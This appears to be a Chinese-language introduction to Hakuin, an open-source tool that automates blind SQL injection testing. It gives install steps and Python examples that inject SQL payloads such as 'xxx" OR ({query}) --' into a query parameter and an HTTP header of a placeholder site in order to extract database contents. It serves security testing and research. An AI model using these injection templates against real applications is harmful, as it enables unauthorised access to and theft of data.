Hakuin：一款自动化SQL盲注（BSQLI）安全检测工具
Hakuin是一款功能强大的SQL盲注漏洞安全检测工具，该工具专门针对BSQLi设计，可以帮助广大研究人员优化BSQLi测试用例，并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。
该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测，并采用了多种优化方法，包括预训练和自适应语言模型、机会性猜测和并行性机制等。
工具安装
由于该工具基于Python 3开发，因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。
源码安装
广大研究人员可以直接使用下列命令将该项目源码克隆至本地：
git clone https://github.com/pruzko/hakuin.git
然后切换到项目目录中，并执行安装命令：
cd hakuin
pip3 install -e .
pip安装
除此之外，我们还可以直接使用pip3命令安装Hakuin：
pip3 install hakuin
工具使用
Hakuin附带一个简单的封装工具，hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息，请运行：
python3 hk.py -h
使用样例
基于状态推断的查询参数注入检测
import aiohttp
from hakuin import Requester
class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
基于内容推断的Header注入检测
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()
尝试提取SQLite/MySQL/PSQL/MSSQL数据
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):
...
async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...
if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())
许可证协议
本项目的开发与发布遵循MIT开源许可协议。
项目地址
Hakuin：
https://github.com/pruzko/hakuin
https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/ https://wootconference.org/papers/woot23-paper17.pdf
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2024-07-24，如有侵权请联系 cloudcommunity@tencent.com 删除
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